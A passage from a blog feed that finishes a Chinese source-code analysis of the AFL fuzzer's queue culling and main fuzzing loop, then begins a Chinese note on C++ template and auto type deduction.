&amp;lt;&amp;lt; (i &amp;amp; 7)))) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      u32 j = MAP_SIZE &amp;gt;&amp;gt; 3;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      &#x2F;* Remove all bits belonging to the current entry from temp_v. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;			&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      &#x2F;&#x2F; 从temp_v中，移除所有属于当前current-entry的byte，也就是这个testcase触发了多少path就给tempv标记上&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     while (j--)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        if (top_rated[i]-&amp;gt;trace_mini[j])&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          temp_v[j] &amp;amp;= ~top_rated[i]-&amp;gt;trace_mini[j];&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      top_rated[i]-&amp;gt;favored = 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      queued_favored++;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (!top_rated[i]-&amp;gt;was_fuzzed) pending_favored++;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  q = queue;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  while (q) { &#x2F;&#x2F; 遍历队列，不是favored的case（冗余的测试用例）被标记成redundant_edges&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    mark_as_redundant(q, !q-&amp;gt;favored); &#x2F;&#x2F; 位置在&#x2F;queue&#x2F;.state&#x2F;redundent_edges中&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    q = q-&amp;gt;next;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;这里根据网上公开的一个例子来理解该过程：&lt;&#x2F;p&gt;
&lt;p&gt;现假设有如下tuple和seed信息：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;tuple&lt;&#x2F;strong&gt;:  t0, t1, t2, t3, t4&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;seed&lt;&#x2F;strong&gt;: s0, s1, s2&lt;&#x2F;li&gt;
&lt;li&gt;初始化 &lt;code&gt;temp_v = [1,1,1,1,1]&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;s1可覆盖t2, t3，s2覆盖t0, t1, t4，并且top_rated[0] = s2，top_rated[2]=s1&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;将按照如下过程进行筛选和判断：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;首先判断 temp_v[0]=1，说明t0没有被覆盖；&lt;&#x2F;li&gt;
&lt;li&gt;top_rated[0] 存在 (s2) -&amp;gt; 判断s2可以覆盖的范围 -&amp;gt; &lt;code&gt;trace_mini = [1,1,0,0,1]&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;更新 &lt;code&gt;temp_v=[0,0,1,1,0]&lt;&#x2F;code&gt;， 标记s2为 “favored”；&lt;&#x2F;li&gt;
&lt;li&gt;继续判断 temp_v[1]=0，说明t1此时已经被覆盖，跳过；&lt;&#x2F;li&gt;
&lt;li&gt;继续判断 temp_v[2]=1，说明t2没有被覆盖；&lt;&#x2F;li&gt;
&lt;li&gt;top_rated[2] 存在 (s1) -&amp;gt; 判断s1可以覆盖的范围 -&amp;gt; &lt;code&gt;trace_mini=[0,0,1,1,0]&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;更新 &lt;code&gt;temp_v=[0,0,0,0,0]&lt;&#x2F;code&gt;，标记s1为 “favored”；&lt;&#x2F;li&gt;
&lt;li&gt;此时所有tuple都被覆盖，具备&quot;favored’标记的为s1, s2，过程结束。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;进入主循环前的准备工作使用的函数之一，主要作用为在处理输入目录的末尾显示统计信息，警告信息以及硬编码的常量；&lt;&#x2F;p&gt;
&lt;p&gt;进入主循环前的准备工作使用的函数之一，主要作用为在resume时，尝试查找要开始的队列的位置。&lt;&#x2F;p&gt;
&lt;p&gt;也是准备工作函数之一，主要作用为更新统计信息文件以进行无人值守的监视。&lt;&#x2F;p&gt;
&lt;p&gt;该函数主要保存自动生成的extras。&lt;&#x2F;p&gt;
&lt;p&gt;这里是seed变异的主循环处理过程，我们将结合流程图和源码进行详细解读。&lt;&#x2F;p&gt;
&lt;p&gt;主循环的控制流程图如下（将while部分单独设置为了一个函数，只看循环部分即可）：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-main-loop-flowchart.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210909164334.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;主循环源码：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;41&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;42&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;43&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;44&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;45&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;46&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;47&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;48&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;49&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;50&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;51&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;52&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;53&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;54&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;55&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;56&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;57&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;58&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;59&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;while (1) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u8 skipped_fuzz;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  cull_queue(); &#x2F;&#x2F; 调用cull_queue进行队列精简&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (!queue_cur) { &#x2F;&#x2F; 如果queue_cure为空（所有queue都被执行完一轮）&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    queue_cycle++; &#x2F;&#x2F; 计数器，所有queue执行的轮数&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    current_entry     = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    cur_skipped_paths = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    queue_cur         = queue; &#x2F;&#x2F; 准备开始新一轮fuzz&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    while (seek_to) { &#x2F;&#x2F; 如果seek_to不为空&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      current_entry++;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      seek_to--;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      queue_cur = queue_cur-&amp;gt;next; &#x2F;&#x2F; 从seek_to指定的queue项开始执行&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    show_stats(); &#x2F;&#x2F; 刷新展示界面&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   if (not_on_tty) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      ACTF(&quot;Entering queue cycle %llu.&quot;, queue_cycle);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      fflush(stdout);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* If we had a full queue cycle with no new finds, try&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         recombination strategies next. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (queued_paths == prev_queued) { &#x2F;&#x2F; 如果一轮执行后queue中的case数与执行前一样，表示没有发现新的case&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (use_splicing) cycles_wo_finds++; else use_splicing = 1; &#x2F;&#x2F; 是否使用splice进行case变异&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    } else cycles_wo_finds = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    prev_queued = queued_paths;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (sync_id &amp;amp;&amp;amp; queue_cycle == 1 &amp;amp;&amp;amp; getenv(&quot;AFL_IMPORT_FIRST&quot;))&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      sync_fuzzers(use_argv);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  skipped_fuzz = fuzz_one(use_argv); &#x2F;&#x2F; 对queue_cur进行一次测试&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (!stop_soon &amp;amp;&amp;amp; sync_id &amp;amp;&amp;amp; !skipped_fuzz) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   &#x2F;&#x2F; 如果skipped_fuzz为0且存在sync_id，表示要进行一次sync&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (!(sync_interval_cnt++ % SYNC_INTERVAL))&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      sync_fuzzers(use_argv);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (!stop_soon &amp;amp;&amp;amp; exit_1) stop_soon = 2;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (stop_soon) break;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  queue_cur = queue_cur-&amp;gt;next;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  current_entry++;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;总结以上内容，该处该过程整体如下：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;判断 &lt;code&gt;queue_cur&lt;&#x2F;code&gt; 是否为空，如果是则表示已经完成队列遍历，初始化相关参数，重新开始一轮；&lt;&#x2F;li&gt;
&lt;li&gt;找到queue入口的case，直接跳到该case；&lt;&#x2F;li&gt;
&lt;li&gt;如果一整个队列循环都没新发现，尝试重组策略；&lt;&#x2F;li&gt;
&lt;li&gt;调用关键函数 &lt;code&gt;fuzz_one()&lt;&#x2F;code&gt; 对该case进行fuzz；&lt;&#x2F;li&gt;
&lt;li&gt;上面的变异完成后，AFL会对文件队列的下一个进行变异处理。当队列中的全部文件都变异测试后，就完成了一个”cycle”，这个就是AFL状态栏右上角的”cycles done”。而正如cycle的意思所说，整个队列又会从第一个文件开始，再次进行变异，不过与第一次变异不同的是，这一次就不需要再进行“deterministic fuzzing”了。如果用户不停止AFL，seed文件将会一遍遍的变异下去。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;该函数源码在1000多行，出于篇幅原因，我们简要介绍函数的功能。但强烈建议通读该函数源码，&lt;&#x2F;p&gt;
&lt;p&gt;函数主要是从queue中取出entry进行fuzz，成功返回0，跳过或退出的话返回1。&lt;&#x2F;p&gt;
&lt;p&gt;整体过程：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;根据是否有 &lt;code&gt;pending_favored&lt;&#x2F;code&gt; 和&lt;code&gt;queue_cur&lt;&#x2F;code&gt;的情况，按照概率进行跳过；有&lt;code&gt;pending_favored&lt;&#x2F;code&gt;, 对于已经fuzz过的或者non-favored的有99%的概率跳过；无pending_favored，95%跳过fuzzed&amp;amp;non-favored，75%跳过not fuzzed&amp;amp;non-favored，不跳过favored；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;假如当前项有校准错误，并且校准错误次数小于3次，那么就用calibrate_case进行测试；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果测试用例没有修剪过，那么调用函数trim_case对测试用例进行修剪；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;修剪完毕之后，使用calculate_score对每个测试用例进行打分；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果该queue已经完成deterministic阶段，则直接跳到havoc阶段；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;deterministic阶段变异4个stage，变异过程中会多次调用函数common_fuzz_stuff函数，保存interesting 的种子：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;bitflip，按位翻转，1变为0，0变为1&lt;&#x2F;li&gt;
&lt;li&gt;arithmetic，整数加&#x2F;减算术运算&lt;&#x2F;li&gt;
&lt;li&gt;interest，把一些特殊内容替换到原文件中&lt;&#x2F;li&gt;
&lt;li&gt;dictionary，把自动生成或用户提供的token替换&#x2F;插入到原文件中&lt;&#x2F;li&gt;
&lt;li&gt;havoc，中文意思是“大破坏”，此阶段会对原文件进行大量变异。&lt;&#x2F;li&gt;
&lt;li&gt;splice，中文意思是“绞接”，此阶段会将两个文件拼接起来得到一个新的文件。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;该轮完成。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这里涉及到AFL中的变异策略，不在本次的讨论中，感兴趣的小伙伴可以结合源码自行进行研究。&lt;&#x2F;p&gt;
&lt;p&gt;该函数的主要作用是进行queue同步，先读取有哪些fuzzer文件夹，然后读取其他fuzzer文件夹下的queue文件夹中的测试用例，然后以此执行。如果在执行过程中，发现这些测试用例可以触发新路径，则将测试用例保存到自己的queue文件夹中，并将最后一个同步的测试用例的id写入到 &lt;code&gt;.synced&#x2F;fuzzer文件夹名&lt;&#x2F;code&gt; 文件中，避免重复运行。&lt;&#x2F;p&gt;
&lt;p&gt;分析完源码，可以感受到，AFL遵循的基本原则是简单有效，没有进行过多的复杂的优化，能够针对fuzz领域的痛点，对症下药，拒绝花里胡哨，给出切实可行的解决方案，在漏洞挖掘领域的意义的确非同凡响。后期的很多先进的fuzz工具基本沿用了AFL的思路，甚至目前为止已基本围绕AFL建立了“生态圈”，涉及到多个平台、多种漏洞挖掘对象，对于安全研究员来说实属利器，值得从事fuzz相关工作的研究员下足功夫去体会AFL的精髓所在。&lt;&#x2F;p&gt;
&lt;p&gt;考虑到篇幅限制，我们没有对AFL中的变异策略进行源码说明，实属遗憾。如果有机会，将新开文章详细介绍AFL的变异策略和源码分析。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;lcamtuf.coredump.cx&#x2F;afl&#x2F;&quot;&gt;http:&#x2F;&#x2F;lcamtuf.coredump.cx&#x2F;afl&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;eternalsakura13.com&#x2F;2020&#x2F;08&#x2F;23&#x2F;afl&#x2F;&quot;&gt;https:&#x2F;&#x2F;eternalsakura13.com&#x2F;2020&#x2F;08&#x2F;23&#x2F;afl&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bbs.pediy.com&#x2F;thread-265936.htm&quot;&gt;https:&#x2F;&#x2F;bbs.pediy.com&#x2F;thread-265936.htm&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bbs.pediy.com&#x2F;thread-249912.htm#msg_header_h3_3&quot;&gt;https:&#x2F;&#x2F;bbs.pediy.com&#x2F;thread-249912.htm#msg_header_h3_3&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Modern c++快速浅析</title>
        <published>2024-01-30T00:00:00+00:00</published>
        <updated>2024-01-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/modern-c-快速浅析/"/>
        <id>https://vercel.juzhong.asia/obsidian/modern-c-快速浅析/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/modern-c-快速浅析/">&lt;h1 id=&quot;modern-c-kuai-su-qian-xi&quot;&gt;Modern c++快速浅析&lt;&#x2F;h1&gt;
&lt;p&gt;原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mp.weixin.qq.com&#x2F;s&#x2F;P-aqK40J-taYURy6EA-jFw&quot;&gt;https:&#x2F;&#x2F;mp.weixin.qq.com&#x2F;s&#x2F;P-aqK40J-taYURy6EA-jFw - 微信公众平台&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;转自：高性能架构探索&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;mo-ban-lei-xing-tui-dao&quot;&gt;模板类型推导&lt;&#x2F;h2&gt;
&lt;p&gt;模板类型推导中最重要的是弄清它什么时候会抛弃引用，什么时候会抛弃常量性&lt;&#x2F;p&gt;
&lt;p&gt;•&lt;code&gt;&amp;lt;span&amp;gt;&amp;lt;span&amp;gt;template&amp;lt;&#x2F;span&amp;gt;&amp;lt;&amp;lt;span&amp;gt;typename&amp;lt;&#x2F;span&amp;gt; T&amp;gt; &amp;lt;span&amp;gt;void&amp;lt;&#x2F;span&amp;gt; func(T&amp;amp; param)&amp;lt;&#x2F;span&amp;gt;;&lt;&#x2F;code&gt;在这个示例函数中，如果传递进是一个&lt;code&gt;const int&amp;amp;&lt;&#x2F;code&gt;的对象，那么&lt;code&gt;T&lt;&#x2F;code&gt;推导出来的类型是&lt;code&gt;const int&lt;&#x2F;code&gt;，&lt;code&gt;param&lt;&#x2F;code&gt;的类型是&lt;code&gt;const int&amp;amp;&lt;&#x2F;code&gt;。可见引用性在型别推导的过程中被忽略•&lt;code&gt;&amp;lt;span&amp;gt;&amp;lt;span&amp;gt;template&amp;lt;&#x2F;span&amp;gt;&amp;lt;&amp;lt;span&amp;gt;typename&amp;lt;&#x2F;span&amp;gt; T&amp;gt; &amp;lt;span&amp;gt;void&amp;lt;&#x2F;span&amp;gt; func(T param)&amp;lt;&#x2F;span&amp;gt;;&lt;&#x2F;code&gt;在这个示例函数中，我们面临的是&lt;strong&gt;值传递&lt;&#x2F;strong&gt;的情景，如果传递进的是一个&lt;code&gt;const int&amp;amp;&lt;&#x2F;code&gt;的对象，那么&lt;code&gt;T&lt;&#x2F;code&gt;和&lt;code&gt;param&lt;&#x2F;code&gt;推导出来的类型都是&lt;code&gt;int&lt;&#x2F;code&gt;如果传递进的是一个&lt;code&gt;const char* const&lt;&#x2F;code&gt;的指针，那么T和param推导出来的类型都是&lt;code&gt;const char*&lt;&#x2F;code&gt;，顶层&lt;code&gt;const&lt;&#x2F;code&gt;被忽略。因为这是一个&lt;strong&gt;拷贝&lt;&#x2F;strong&gt;指针的操作，因此保留原指针的不可更改指向性并没有太大的意义&lt;&#x2F;p&gt;
&lt;h2 id=&quot;auto&quot;&gt;auto&lt;&#x2F;h2&gt;
&lt;p&gt;大多数情况下auto推断出来的结果和模板类型推导的结果是一样的，不同点在于对大括号初始物的处理&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhi-yu-zhi-zhen-deng-tui-dao&quot;&gt;值与指针等推导&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;const int a = 10;
&amp;#x2F;&amp;#x2F; b为 non-const int类型 这里相当于&amp;quot;拷贝&amp;quot;
auto b = a;
&amp;#x2F;&amp;#x2F; 明确指明cb的常量性
const auto cb = a;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;auto&lt;&#x2F;code&gt;一般情况下会忽略顶层&lt;code&gt;const&lt;&#x2F;code&gt;，保留底层&lt;code&gt;const&lt;&#x2F;code&gt;（顶层&lt;code&gt;const&lt;&#x2F;code&gt;：指针本身是常量，底层&lt;code&gt;const&lt;&#x2F;code&gt;：指针所指对象是常量），这点与模板类型推导一致&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int* const apc = &amp;amp;a;
const int* acp = &amp;amp;a;
&amp;#x2F;&amp;#x2F; p为 int*类型, 顶层const被忽略
auto p = apc;
&amp;#x2F;&amp;#x2F; cp为 const int*类型，底层const被保留
auto cp = acp;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;std-initializer-listde-tui-dao&quot;&gt;std::initializer_list的推导&lt;&#x2F;h2&gt;
&lt;p&gt;auto推导具有将大括号初始物转换为&lt;code&gt;std::initializer_list&amp;lt;int&amp;gt;&lt;&#x2F;code&gt;或&lt;code&gt;T&lt;&#x2F;code&gt;类型的数据的能力，而模板类型推导不具备这样的能力&lt;&#x2F;p&gt;
&lt;p&gt;C++14中&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;auto a{ 1, 2, 3 };        &amp;#x2F;&amp;#x2F; std::initializer_list
auto b{ 1 };            &amp;#x2F;&amp;#x2F; std::initializer_list
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;C++17中&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;auto a{ 1, 2, 3 };    &amp;#x2F;&amp;#x2F; 非法
auto b{ 1 };    &amp;#x2F;&amp;#x2F; int
auto c = { 1, 2, 3 };    &amp;#x2F;&amp;#x2F; 与C++14相同，皆为std::initializer_list
auto d = { 1 };    &amp;#x2F;&amp;#x2F; 与C++14相同，皆为std::initializer_list
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;fan-hui-zhi-tui-dao&quot;&gt;返回值推导&lt;&#x2F;h2&gt;
&lt;p&gt;将函数的返回值标记为auto，意味着返回值类型的推导&lt;strong&gt;遵循模板类型推导&lt;&#x2F;strong&gt;的原则，而非auto的推导原则&lt;&#x2F;p&gt;
&lt;p&gt;C++11中加入的_trailing return type_（尾返回类型），需要搭配&lt;code&gt;decltype&lt;&#x2F;code&gt;使用&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T1, typename T2&amp;gt;
auto MathPlus(T1 a, T2 b) -&amp;gt; decltype(a + b)
{
    return a + b;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;C++14中，可以省略&lt;code&gt;decltype&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T1, typename T2&amp;gt; auto MathPlus(T1 a, T2 b) { return a + b; }
int main() {
  std::cout &amp;lt;&amp;lt; MathPlus(1 + 2.34) &amp;lt;&amp;lt; std::endl;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但这里需要注意的是，返回值类型推导遵循的是模板类型推导的原则，因此对于大括号初始物而言，没有办法正确推导&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; 无法通过编译
auto func() {
    return {1, 2, 3};
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但我们更应该知道，即使这能通过编译，被推导为&lt;code&gt;std::initializer_list&amp;lt;int&amp;gt;&lt;&#x2F;code&gt;，我们仍然应该避免返回一个局部的&lt;code&gt;std::initializer_list&amp;lt;int&amp;gt;&lt;&#x2F;code&gt;，因为它是指向栈上的数据，离开函数作用域后再访问将会出现不确定的结果&lt;&#x2F;p&gt;
